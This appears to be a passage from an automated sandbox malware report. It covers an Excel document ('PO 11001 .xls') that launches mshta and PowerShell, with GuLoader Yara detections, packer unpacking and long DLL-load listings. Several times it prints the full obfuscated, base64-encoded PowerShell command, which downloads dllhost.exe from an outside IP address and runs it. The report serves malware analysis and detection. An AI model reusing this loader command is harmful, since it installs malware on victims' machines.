Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: pstorec.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ucrtbase.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: pstorec.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ucrtbase.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: pstorec.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ucrtbase.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: pstorec.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ucrtbase.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: brandbombernes.lnk.11.dr LNK file: ..\Users\user\AppData\Local\Temp\nsmA3F.tmp\cueca.Stu
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.802145913.0000000004CD0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Automation.pdb source: powershell.exe, 00000018.00000002.1002223931.0000000004F5A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.pdb source: powershell.exe, 00000007.00000002.434786957.0000000002FFF000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: .pdbu source: powershell.exe, 00000007.00000002.449310498.000000001C4D6000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.pdbhP source: powershell.exe, 00000007.00000002.434786957.000000000312A000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdbg source: powershell.exe, 0000000C.00000002.802145913.0000000004CD0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.pdb source: powershell.exe, 00000013.00000002.479817740.0000000002952000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: :\Windows\System.Core.pdbpdbore.pdb2 source: powershell.exe, 00000018.00000002.902448214.0000000000491000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: :\Windows\System.Core.pdbpdbore.pdbD7 source: powershell.exe, 0000000C.00000002.777378103.0000000000442000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.pdbhP source: powershell.exe, 00000013.00000002.479817740.0000000002952000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: Automation.pdbG source: powershell.exe, 00000018.00000002.1002223931.0000000004F5A000.00000004.00000020.00020000.00000000.sdmp
Source: 54230000.0.dr Initial sample: OLE indicators vbamacros = False
Source: PO 11001 .xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 34.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 35.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 36.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 39.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 40.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 42.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 46.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 47.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 49.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 51.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 52.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Unpacked PE file: 55.2.Vaccinerende.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Yara detected GuLoader
Source: Yara match File source: 00000018.00000002.1008062874.0000000009B56000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.808389221.0000000009888000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
PowerShell case anomaly found
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leG